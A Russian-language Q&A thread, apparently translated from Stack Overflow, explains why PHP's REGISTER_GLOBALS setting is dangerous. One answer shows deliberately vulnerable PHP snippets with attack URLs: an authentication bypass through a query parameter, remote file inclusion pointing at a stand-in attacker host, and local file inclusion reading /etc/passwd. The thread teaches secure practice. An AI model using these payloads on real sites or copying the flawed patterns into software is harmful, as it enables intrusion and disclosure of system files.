Почему REGISTER_GLOBALS так плохо? - PullRequest
       21

Почему REGISTER_GLOBALS так плохо?

14 голосов
/ 13 сентября 2009

Я не разработчик PHP, но я видел в нескольких местах, что люди, кажется, относятся к этому как к чуме или к чему-то подобному. Почему?

Ответы [ 4 ]

14 голосов
/ 13 сентября 2009

REGISTER_GLOBALS означает, что все переменные, прошедшие через GET или POST, доступны как глобальные переменные в вашем скрипте. Поскольку доступ к необъявленным переменным не является ошибкой в ​​PHP (это предупреждение), это может привести к очень неприятным ситуациям. Рассмотрим это, например:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

Само по себе это не плохо (хорошо спроектированный код не должен генерировать предупреждения, поэтому он не должен обращаться к каким-либо переменным, которые могут быть необъявленными (и не должен нуждаться в REGISTER_GLOBALS по той же причине)) , но PHP-код обычно [очень] низкого качества, что приводит к таким дырам в безопасности.

9 голосов
/ 13 сентября 2009

Включение REGISTER_GLOBALS подвергает веб-страницы, обслуживаемые PHP, уязвимостям, которые некоторые плохие парни будут стремиться использовать.

Если включено, любая строка запроса в конце URL:

http://yourdomain/something.php?valid=true 

повлияет на значение переменной $ valid (например) в нечто .php, , если оно существует .

Если вы используете общедоступный код PHP (например, библиотеку), имена переменных хорошо известны, и хакеры смогут контролировать свои значения, присваивая значения в строке запроса. Они могут обойти аутентификацию.

Даже если вы не используете открытый код, возможно, можно угадать имена важных переменных и контролировать их значения.

Раньше по умолчанию было включено REGISTER_GLOBALS в PHP.INI

В последнее время практикуется отключение по умолчанию. Включите его на свой страх и риск!

3 голосов
/ 13 сентября 2009

Просто добавим, вот несколько ситуаций, когда включение REGISTER_GLOBALS может испортить ваш день:

Использование строки запроса для обхода контроля доступа (взломать с помощью http://example.com/?logged=1):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Удаленное включение файлов (RFI):

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Локальное включение файлов (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>
2 голосов
/ 13 сентября 2009

Поскольку он позволяет пользователю вводить любую глобальную переменную в ваш код без какого-либо контроля.

Исходя из качества кода, он может привести к серьезным ошибкам безопасности.

...